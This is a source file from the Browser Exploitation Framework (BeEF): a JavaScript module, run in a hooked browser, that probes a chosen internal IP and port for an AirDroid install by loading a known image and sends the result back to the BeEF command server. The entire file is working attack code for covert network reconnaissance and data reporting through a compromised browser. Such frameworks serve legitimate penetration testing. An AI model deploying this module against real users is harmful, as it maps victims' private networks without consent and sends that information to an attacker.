Files
beef/modules/host/detect_airdroid/command.js
2016-01-13 22:47:33 +00:00

26 lines
907 B
JavaScript

//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = "Not Installed";
var dom = document.createElement('b');
var img = new Image;
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
img.onload = function() {
if (this.width == 146 && this.height == 176) result = "Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());
dom.removeChild(this);
}
dom.appendChild(img);
});